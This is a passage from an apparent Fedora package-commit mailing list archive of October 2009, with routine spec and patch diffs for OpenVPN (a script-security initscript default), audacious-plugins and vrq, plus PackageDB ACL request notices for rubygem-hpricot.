 Summary:           A full-featured SSL VPN solution
 URL:               http://openvpn.net/
 #Source0:           http://openvpn.net/beta/%{name}-%{version}%{?prerelease:_%{prerelease}}.tar.gz
@@ -168,6 +168,9 @@ fi
 %config %dir %{_sysconfdir}/%{name}/
 
 %changelog
+* Sun Oct 25 2009 Robert Scheck <robert at fedoraproject.org> 2.1-0.30
+- Added script_security initialisation in initscript (#458594 #c20)
+
 * Sat Nov 29 2008 Robert Scheck <robert at fedoraproject.org> 2.1-0.29
 - Update to 2.1_rc15
 



From robert at fedoraproject.org  Sun Oct 25 11:13:29 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Sun, 25 Oct 2009 11:13:29 +0000 (UTC)
Subject: rpms/openvpn/EL-4 openvpn-script-security.patch, 1.1,
	1.2 openvpn.spec, 1.15, 1.16
Message-ID: <20091025111329.8346011C0269@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/openvpn/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5662/EL-4

Modified Files:
	openvpn-script-security.patch openvpn.spec 
Log Message:
Added script_security initialisation in initscript (#458594 #c20)


openvpn-script-security.patch:
 openvpn.init |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

Index: openvpn-script-security.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/EL-4/openvpn-script-security.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openvpn-script-security.patch	30 Nov 2008 14:39:00 -0000	1.1
+++ openvpn-script-security.patch	25 Oct 2009 11:13:28 -0000	1.2
@@ -1,11 +1,12 @@
 --- openvpn-2.1_rc9/sample-scripts/openvpn.init.orig	2008-06-13 02:54:58.000000000 -0500
 +++ openvpn-2.1_rc9/sample-scripts/openvpn.init	2008-08-13 13:51:46.000000000 -0500
-@@ -151,7 +151,11 @@
+@@ -151,7 +151,12 @@
  		. $bn.sh
  	    fi
  	    rm -f $piddir/$bn.pid
 -	    $openvpn --daemon --writepid $piddir/$bn.pid --config $c --cd $work
 +            # Handle backward compatibility, see Red Hat Bugzilla ID #458594
++            script_security=''
 +            if [ -z "$( grep '^[[:space:]]*script-security[[:space:]]' $c )" ]; then
 +                script_security="--script-security 3"
 +            fi


Index: openvpn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/EL-4/openvpn.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- openvpn.spec	30 Nov 2008 14:39:00 -0000	1.15
+++ openvpn.spec	25 Oct 2009 11:13:28 -0000	1.16
@@ -4,7 +4,7 @@
 
 Name:              openvpn
 Version:           2.1
-Release:           0.29%{?prerelease:.%{prerelease}}%{?dist}
+Release:           0.30%{?prerelease:.%{prerelease}}%{?dist}
 Summary:           A full-featured SSL VPN solution
 URL:               http://openvpn.net/
 #Source0:           http://openvpn.net/beta/%{name}-%{version}%{?prerelease:_%{prerelease}}.tar.gz
@@ -168,6 +168,9 @@ fi
 %config %dir %{_sysconfdir}/%{name}/
 
 %changelog
+* Sun Oct 25 2009 Robert Scheck <robert at fedoraproject.org> 2.1-0.30
+- Added script_security initialisation in initscript (#458594 #c20)
+
 * Sat Nov 29 2008 Robert Scheck <robert at fedoraproject.org> 2.1-0.29
 - Update to 2.1_rc15
 



From robert at fedoraproject.org  Sun Oct 25 11:13:29 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Sun, 25 Oct 2009 11:13:29 +0000 (UTC)
Subject: rpms/openvpn/devel openvpn-script-security.patch, 1.1,
	1.2 openvpn.spec, 1.48, 1.49
Message-ID: <20091025111329.B9E7711C029E@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/openvpn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5662/devel

Modified Files:
	openvpn-script-security.patch openvpn.spec 
Log Message:
Added script_security initialisation in initscript (#458594 #c20)


openvpn-script-security.patch:
 openvpn.init |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

Index: openvpn-script-security.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/devel/openvpn-script-security.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openvpn-script-security.patch	13 Aug 2008 19:06:32 -0000	1.1
+++ openvpn-script-security.patch	25 Oct 2009 11:13:29 -0000	1.2
@@ -1,11 +1,12 @@
 --- openvpn-2.1_rc9/sample-scripts/openvpn.init.orig	2008-06-13 02:54:58.000000000 -0500
 +++ openvpn-2.1_rc9/sample-scripts/openvpn.init	2008-08-13 13:51:46.000000000 -0500
-@@ -151,7 +151,11 @@
+@@ -151,7 +151,12 @@
  		. $bn.sh
  	    fi
  	    rm -f $piddir/$bn.pid
 -	    $openvpn --daemon --writepid $piddir/$bn.pid --config $c --cd $work
 +            # Handle backward compatibility, see Red Hat Bugzilla ID #458594
++            script_security=''
 +            if [ -z "$( grep '^[[:space:]]*script-security[[:space:]]' $c )" ]; then
 +                script_security="--script-security 2"
 +            fi


Index: openvpn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/devel/openvpn.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- openvpn.spec	2 Oct 2009 11:39:25 -0000	1.48
+++ openvpn.spec	25 Oct 2009 11:13:29 -0000	1.49
@@ -4,7 +4,7 @@
 
 Name:              openvpn
 Version:           2.1
-Release:           0.36%{?prerelease:.%{prerelease}}%{?dist}
+Release:           0.37%{?prerelease:.%{prerelease}}%{?dist}
 Summary:           A full-featured SSL VPN solution
 URL:               http://openvpn.net/
 #Source0:           http://openvpn.net/beta/%{name}-%{version}%{?prerelease:_%{prerelease}}.tar.gz
@@ -170,6 +170,9 @@ fi
 %config %dir %{_sysconfdir}/%{name}/
 
 %changelog
+* Sun Oct 25 2009 Robert Scheck <robert at fedoraproject.org> 2.1-0.37.rc20
+- Added script_security initialisation in initscript (#458594 #c20)
+
 * Fri Oct 02 2009 Steven Pritchard <steve at kspei.com> 2.1-0.36.rc20
 - Update to 2.1_rc20.
 



From robert at fedoraproject.org  Sun Oct 25 11:13:29 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Sun, 25 Oct 2009 11:13:29 +0000 (UTC)
Subject: rpms/openvpn/F-12 .cvsignore, 1.25,
	1.26 openvpn-script-security.patch, 
	1.1, 1.2 openvpn.spec, 1.47, 1.48 sources, 1.25, 1.26
Message-ID: <20091025111329.8D9FA11C029B@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/openvpn/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5662/F-12

Modified Files:
	.cvsignore openvpn-script-security.patch openvpn.spec sources 
Log Message:
Added script_security initialisation in initscript (#458594 #c20)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/F-12/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	7 Sep 2009 06:28:03 -0000	1.25
+++ .cvsignore	25 Oct 2009 11:13:29 -0000	1.26
@@ -1,2 +1,2 @@
-openvpn-2.1_rc19.tar.gz
-openvpn-2.1_rc19.tar.gz.asc
+openvpn-2.1_rc20.tar.gz
+openvpn-2.1_rc20.tar.gz.asc

openvpn-script-security.patch:
 openvpn.init |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

Index: openvpn-script-security.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/F-12/openvpn-script-security.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openvpn-script-security.patch	13 Aug 2008 19:06:32 -0000	1.1
+++ openvpn-script-security.patch	25 Oct 2009 11:13:29 -0000	1.2
@@ -1,11 +1,12 @@
 --- openvpn-2.1_rc9/sample-scripts/openvpn.init.orig	2008-06-13 02:54:58.000000000 -0500
 +++ openvpn-2.1_rc9/sample-scripts/openvpn.init	2008-08-13 13:51:46.000000000 -0500
-@@ -151,7 +151,11 @@
+@@ -151,7 +151,12 @@
  		. $bn.sh
  	    fi
  	    rm -f $piddir/$bn.pid
 -	    $openvpn --daemon --writepid $piddir/$bn.pid --config $c --cd $work
 +            # Handle backward compatibility, see Red Hat Bugzilla ID #458594
++            script_security=''
 +            if [ -z "$( grep '^[[:space:]]*script-security[[:space:]]' $c )" ]; then
 +                script_security="--script-security 2"
 +            fi


Index: openvpn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/F-12/openvpn.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- openvpn.spec	7 Sep 2009 06:28:04 -0000	1.47
+++ openvpn.spec	25 Oct 2009 11:13:29 -0000	1.48
@@ -1,10 +1,10 @@
-%define prerelease rc19
+%define prerelease rc20
 
 %define plugins down-root auth-pam
 
 Name:              openvpn
 Version:           2.1
-Release:           0.35%{?prerelease:.%{prerelease}}%{?dist}
+Release:           0.37%{?prerelease:.%{prerelease}}%{?dist}
 Summary:           A full-featured SSL VPN solution
 URL:               http://openvpn.net/
 #Source0:           http://openvpn.net/beta/%{name}-%{version}%{?prerelease:_%{prerelease}}.tar.gz
@@ -170,6 +170,12 @@ fi
 %config %dir %{_sysconfdir}/%{name}/
 
 %changelog
+* Sun Oct 25 2009 Robert Scheck <robert at fedoraproject.org> 2.1-0.37.rc20
+- Added script_security initialisation in initscript (#458594 #c20)
+
+* Fri Oct 02 2009 Steven Pritchard <steve at kspei.com> 2.1-0.36.rc20
+- Update to 2.1_rc20.
+
 * Sun Sep 06 2009 Kalev Lember <kalev at smartlink.ee> - 2.1-0.35.rc19
 - Update to 2.1_rc19
 - Build with pkcs11-helper


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/F-12/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	7 Sep 2009 06:28:04 -0000	1.25
+++ sources	25 Oct 2009 11:13:29 -0000	1.26
@@ -1,2 +1,2 @@
-ba2ee667a8b7606b125b7d32f47ca578  openvpn-2.1_rc19.tar.gz
-60dd63b0b37cabb5f467e1ededd013ce  openvpn-2.1_rc19.tar.gz.asc
+552038d36980470448bf1d701c9effc3  openvpn-2.1_rc20.tar.gz
+b04b1d058cb5dc3f65ca696bc5021278  openvpn-2.1_rc20.tar.gz.asc



From pkgdb at fedoraproject.org  Sun Oct 25 11:29:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 11:29:10 +0000
Subject: [pkgdb] rubygem-hpricot: kanarip has requested watchcommits
Message-ID: <20091025112911.0D06910F88B@bastion2.fedora.phx.redhat.com>

kanarip has requested the watchcommits acl on rubygem-hpricot (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 11:29:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 11:29:11 +0000
Subject: [pkgdb] rubygem-hpricot: kanarip has requested commit
Message-ID: <20091025112911.B600510F89D@bastion2.fedora.phx.redhat.com>

kanarip has requested the commit acl on rubygem-hpricot (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 11:29:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 11:29:22 +0000
Subject: [pkgdb] rubygem-hpricot: kanarip has requested watchbugzilla
Message-ID: <20091025112922.D72AA10F88B@bastion2.fedora.phx.redhat.com>

kanarip has requested the watchbugzilla acl on rubygem-hpricot (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 11:29:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 11:29:24 +0000
Subject: [pkgdb] rubygem-hpricot: kanarip has requested watchcommits
Message-ID: <20091025112924.224E410F89D@bastion2.fedora.phx.redhat.com>

kanarip has requested the watchcommits acl on rubygem-hpricot (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 11:29:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 11:29:25 +0000
Subject: [pkgdb] rubygem-hpricot: kanarip has requested commit
Message-ID: <20091025112925.847EC10F8A6@bastion2.fedora.phx.redhat.com>

kanarip has requested the commit acl on rubygem-hpricot (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 11:29:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 11:29:32 +0000
Subject: [pkgdb] rubygem-hpricot: kanarip has requested watchbugzilla
Message-ID: <20091025112932.C2C2710F8A8@bastion2.fedora.phx.redhat.com>

kanarip has requested the watchbugzilla acl on rubygem-hpricot (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 11:29:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 11:29:38 +0000
Subject: [pkgdb] rubygem-hpricot: kanarip has requested watchcommits
Message-ID: <20091025112938.7C23210F8A4@bastion2.fedora.phx.redhat.com>

kanarip has requested the watchcommits acl on rubygem-hpricot (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 11:29:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 11:29:40 +0000
Subject: [pkgdb] rubygem-hpricot: kanarip has requested commit
Message-ID: <20091025112940.5C07810F8AB@bastion2.fedora.phx.redhat.com>

kanarip has requested the commit acl on rubygem-hpricot (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From mschwendt at fedoraproject.org  Sun Oct 25 11:29:33 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Sun, 25 Oct 2009 11:29:33 +0000 (UTC)
Subject: rpms/audacious-plugins/devel
	audacious-plugins-2.2-beta1-pulseaudio.patch, 1.1,
	1.2 audacious-plugins.spec, 1.56, 1.57
Message-ID: <20091025112933.331A711C00E5@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9894

Modified Files:
	audacious-plugins-2.2-beta1-pulseaudio.patch 
	audacious-plugins.spec 
Log Message:
* Sun Oct 25 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.3.beta1
- Update pulse_audio patch with correct get_song_name().


audacious-plugins-2.2-beta1-pulseaudio.patch:
 configure                     |    2 
 src/pulse_audio/Makefile      |   12 
 src/pulse_audio/pulse_audio.c |  784 ++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 797 insertions(+), 1 deletion(-)

Index: audacious-plugins-2.2-beta1-pulseaudio.patch
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/audacious-plugins-2.2-beta1-pulseaudio.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- audacious-plugins-2.2-beta1-pulseaudio.patch	22 Oct 2009 15:50:04 -0000	1.1
+++ audacious-plugins-2.2-beta1-pulseaudio.patch	25 Oct 2009 11:29:32 -0000	1.2
@@ -1,9 +1,6 @@
-"pulse_audio" plugin updated for Audacious 2.2
-Michael Schwendt <mschwendt at users.sf.net>
-
-diff -Nur audacious-plugins-fedora-2.2-beta1-orig/configure audacious-plugins-fedora-2.2-beta1/configure
+diff -Nur audacious-plugins-fedora-2.2-beta1-orig/configure audacious-plugins-fedora-2.2-beta1-pulseaudio/configure
 --- audacious-plugins-fedora-2.2-beta1-orig/configure	2009-10-20 23:37:27.000000000 +0200
-+++ audacious-plugins-fedora-2.2-beta1/configure	2009-10-22 13:18:45.400508540 +0200
++++ audacious-plugins-fedora-2.2-beta1-pulseaudio/configure	2009-10-25 12:25:40.619069584 +0100
 @@ -7483,7 +7483,7 @@
  
  
@@ -13,9 +10,9 @@ diff -Nur audacious-plugins-fedora-2.2-b
  EFFECT_PLUGINS="audiocompress crystalizer ladspa voice_removal sndstretch stereo_plugin echo_plugin"
  GENERAL_PLUGINS="song_change alarm skins vfstrace gtkui"
  VISUALIZATION_PLUGINS="blur_scope spectrum"
-diff -Nur audacious-plugins-fedora-2.2-beta1-orig/src/pulse_audio/Makefile audacious-plugins-fedora-2.2-beta1/src/pulse_audio/Makefile
+diff -Nur audacious-plugins-fedora-2.2-beta1-orig/src/pulse_audio/Makefile audacious-plugins-fedora-2.2-beta1-pulseaudio/src/pulse_audio/Makefile
 --- audacious-plugins-fedora-2.2-beta1-orig/src/pulse_audio/Makefile	1970-01-01 01:00:00.000000000 +0100
-+++ audacious-plugins-fedora-2.2-beta1/src/pulse_audio/Makefile	2009-07-07 00:40:36.000000000 +0200
++++ audacious-plugins-fedora-2.2-beta1-pulseaudio/src/pulse_audio/Makefile	2009-10-25 12:25:40.627063872 +0100
 @@ -0,0 +1,12 @@
 +PLUGIN = pulse_audio${PLUGIN_SUFFIX}
 +
@@ -29,10 +26,10 @@ diff -Nur audacious-plugins-fedora-2.2-b
 +CFLAGS += ${PLUGIN_CFLAGS}
 +CPPFLAGS += ${PLUGIN_CPPFLAGS} ${BEEP_DEFINES} ${MOWGLI_CFLAGS} ${GTK_CFLAGS} ${GLIB_CFLAGS}  -I../..
 +LIBS += -lpulse ${GTK_LIBS} ${GLIB_LIBS} 
-diff -Nur audacious-plugins-fedora-2.2-beta1-orig/src/pulse_audio/pulse_audio.c audacious-plugins-fedora-2.2-beta1/src/pulse_audio/pulse_audio.c
+diff -Nur audacious-plugins-fedora-2.2-beta1-orig/src/pulse_audio/pulse_audio.c audacious-plugins-fedora-2.2-beta1-pulseaudio/src/pulse_audio/pulse_audio.c
 --- audacious-plugins-fedora-2.2-beta1-orig/src/pulse_audio/pulse_audio.c	1970-01-01 01:00:00.000000000 +0100
-+++ audacious-plugins-fedora-2.2-beta1/src/pulse_audio/pulse_audio.c	2009-10-22 17:26:53.215617316 +0200
-@@ -0,0 +1,786 @@
++++ audacious-plugins-fedora-2.2-beta1-pulseaudio/src/pulse_audio/pulse_audio.c	2009-10-25 12:10:17.000000000 +0100
+@@ -0,0 +1,784 @@
 +/***
 +  This file is part of xmms-pulse.
 +
@@ -100,11 +97,9 @@ diff -Nur audacious-plugins-fedora-2.2-b
 +
 +static const char* get_song_name(void) {
 +    static char t[256];
-+    gint pos;
 +    char *str, *u;
-+    gint playlist = aud_playlist_get_active();
 +
-+    if (!(str = aud_playlist_get_title(playlist)))
++    if (!(str = aud_playback_get_title()))
 +        return "Playback Stream";
 +    snprintf(t, sizeof(t), "%s", u = pa_locale_to_utf8(str));
 +    pa_xfree(u);


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/audacious-plugins.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- audacious-plugins.spec	24 Oct 2009 22:20:54 -0000	1.56
+++ audacious-plugins.spec	25 Oct 2009 11:29:32 -0000	1.57
@@ -5,7 +5,7 @@
 
 Name: audacious-plugins
 Version: 2.2
-Release: 0.2.beta1%{?dist}
+Release: 0.3.beta1%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -23,7 +23,9 @@ Source0: audacious-plugins-fedora-%{vers
 #Source0: http://distfiles.atheme.org/audacious-plugins-%{version}.tgz
 
 Patch2: audacious-plugins-2.0.1-xmms-skindir.patch
+# merged upstream
 Patch3: audacious-plugins-2.2-beta1-pulseaudio.patch
+# merged upstream
 Patch4: audacious-plugins-2.2-beta1-modplug.patch
 
 BuildRequires: audacious-devel >= %{aud_ver}
@@ -231,6 +233,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.3.beta1
+- Update pulse_audio patch with correct get_song_name().
+
 * Sun Oct 25 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.2.beta1
 - Patch modplug plugin to remove old cruft and fix playback.
 



From pkgdb at fedoraproject.org  Sun Oct 25 11:29:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 11:29:44 +0000
Subject: [pkgdb] rubygem-hpricot: kanarip has requested watchbugzilla
Message-ID: <20091025112944.A906310F8A2@bastion2.fedora.phx.redhat.com>

kanarip has requested the watchbugzilla acl on rubygem-hpricot (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 11:29:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 11:29:46 +0000
Subject: [pkgdb] rubygem-hpricot: kanarip has requested watchcommits
Message-ID: <20091025112946.BAB1B10F8A4@bastion2.fedora.phx.redhat.com>

kanarip has requested the watchcommits acl on rubygem-hpricot (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 11:29:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 11:29:48 +0000
Subject: [pkgdb] rubygem-hpricot: kanarip has requested commit
Message-ID: <20091025112948.3924810F8AC@bastion2.fedora.phx.redhat.com>

kanarip has requested the commit acl on rubygem-hpricot (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From mschwendt at fedoraproject.org  Sun Oct 25 11:32:13 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Sun, 25 Oct 2009 11:32:13 +0000 (UTC)
Subject: rpms/audacious-plugins/F-12 audacious-plugins-2.1-modplug.patch,
	NONE, 1.1 audacious-plugins.spec, 1.54, 1.55
Message-ID: <20091025113213.9158411C00E5@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10479

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-2.1-modplug.patch 
Log Message:
* Sun Oct 25 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-8
- Patch modplug plugin to remove old cruft and fix playback.


audacious-plugins-2.1-modplug.patch:
 modplugbmp.cxx |   13 -------------
 modplugbmp.h   |    3 ---
 2 files changed, 16 deletions(-)

--- NEW FILE audacious-plugins-2.1-modplug.patch ---
diff -Nur audacious-plugins-fedora-2.1-orig/src/modplug/modplugbmp.cxx audacious-plugins-fedora-2.1-modplug/src/modplug/modplugbmp.cxx
--- audacious-plugins-fedora-2.1-orig/src/modplug/modplugbmp.cxx	2009-07-07 00:40:36.000000000 +0200
+++ audacious-plugins-fedora-2.1-modplug/src/modplug/modplugbmp.cxx	2009-10-25 12:21:52.524068282 +0100
@@ -295,15 +295,6 @@
 		if(mStopped)
 			break;
 	
-		//wait for buffer space to free up.
-		while(((mOutPlug->buffer_free()
-		    < (int)mBufSize))
-		   && (!mStopped))
-			usleep(10000);
-			
-		if(mStopped)
-			break;
-		
 		playback->pass_audio
 		(
 			playback,
@@ -451,8 +442,6 @@
 		mModProps.mChannels
 	);
 
-	mDecodeThread = g_thread_self();
-
 	ipb->playing = TRUE;
 	ipb->set_pb_ready(ipb);
 	this->PlayLoop(ipb);
@@ -466,8 +455,6 @@
 
 	mStopped = true;
 	mPaused = false;
-	
-	g_thread_join(mDecodeThread);
 }
 
 void ModplugXMMS::Pause(bool aPaused)
diff -Nur audacious-plugins-fedora-2.1-orig/src/modplug/modplugbmp.h audacious-plugins-fedora-2.1-modplug/src/modplug/modplugbmp.h
--- audacious-plugins-fedora-2.1-orig/src/modplug/modplugbmp.h	2009-07-07 00:40:36.000000000 +0200
+++ audacious-plugins-fedora-2.1-modplug/src/modplug/modplugbmp.h	2009-10-25 12:20:58.578071107 +0100
@@ -121,14 +121,11 @@
 
 	uint32      mPlayed;
 
-	GThread*    mDecodeThread;
-
 	char        mModName[100];
 	
 	float mPreampFactor;
 
 	void PlayLoop(InputPlayback *);
-	static void* PlayThread(void* arg);
 	const char* Bool2OnOff(bool aValue);
 };
 


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-12/audacious-plugins.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- audacious-plugins.spec	21 Oct 2009 20:56:58 -0000	1.54
+++ audacious-plugins.spec	25 Oct 2009 11:32:13 -0000	1.55
@@ -5,7 +5,7 @@
 
 Name: audacious-plugins
 Version: 2.1
-Release: 7%{?dist}
+Release: 8%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -28,6 +28,7 @@ Patch3: audacious-plugins-2.1-alsa-ng.pa
 Patch4: audacious-plugins-2.1-underruns.patch
 Patch5: audacious-plugins-2.1-pulseaudio-volume.patch
 Patch6: audacious-plugins-2.1-pulseaudio-volume-accuracy.patch
+Patch7: audacious-plugins-2.1-modplug.patch
 
 BuildRequires: audacious-devel >= %{aud_ver}
 BuildRequires: jack-audio-connection-kit-devel libsamplerate-devel
@@ -154,6 +155,7 @@ vortex compressed files.
 %patch4 -p1 -b .underruns
 %patch5 -p1 -b .pulseaudio-volume
 %patch6 -p1 -b .pulseaudio-volume-accuracy
+%patch7 -p1 -b .modplug
 
 sed -i '\,^.SILENT:,d' buildsys.mk.in
 
@@ -237,6 +239,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-8
+- Patch modplug plugin to remove old cruft and fix playback.
+
 * Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-7
 - Patch pulseaudio plugin to not suffer from precision loss when
   calculating the volume level to save.



From shakthimaan at fedoraproject.org  Sun Oct 25 11:40:51 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 25 Oct 2009 11:40:51 +0000 (UTC)
Subject: rpms/vrq/devel .cvsignore, 1.4, 1.5 import.log, 1.4, 1.5 sources,
	1.4, 1.5 vrq.spec, 1.3, 1.4
Message-ID: <20091025114051.7BED211C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12728/devel

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to vrq 1.0.63 package.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	16 Oct 2009 17:00:14 -0000	1.4
+++ .cvsignore	25 Oct 2009 11:40:51 -0000	1.5
@@ -1 +1 @@
-vrq-1.0.62.tar.gz
+vrq-1.0.63.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	16 Oct 2009 17:02:24 -0000	1.4
+++ import.log	25 Oct 2009 11:40:51 -0000	1.5
@@ -2,3 +2,4 @@ vrq-1_0_61-1_fc11:HEAD:vrq-1.0.61-1.fc11
 vrq-1_0_61-1_fc11:HEAD:vrq-1.0.61-1.fc11.src.rpm:1255239819
 vrq-1_0_62-1_fc11:HEAD:vrq-1.0.62-1.fc11.src.rpm:1255712756
 vrq-1_0_62-1_fc11:HEAD:vrq-1.0.62-1.fc11.src.rpm:1255712917
+vrq-1_0_63-1_fc11:HEAD:vrq-1.0.63-1.fc11.src.rpm:1256471225


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	16 Oct 2009 17:00:15 -0000	1.4
+++ sources	25 Oct 2009 11:40:51 -0000	1.5
@@ -1 +1 @@
-5615c019e54dc5b62f040d1d95adaa51  vrq-1.0.62.tar.gz
+2d42b8cffca1e7ce109c8ffad5743ca7  vrq-1.0.63.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/vrq.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- vrq.spec	16 Oct 2009 17:00:15 -0000	1.3
+++ vrq.spec	25 Oct 2009 11:40:51 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           vrq
-Version:        1.0.62
+Version:        1.0.63
 Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
@@ -69,6 +69,9 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Thu Oct 25 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.63-1
+- Updated to upstream package 1.0.63
+
 * Thu Oct 15 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.62-1
 - Updated to upstream package 1.0.62
 



From shakthimaan at fedoraproject.org  Sun Oct 25 11:42:55 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 25 Oct 2009 11:42:55 +0000 (UTC)
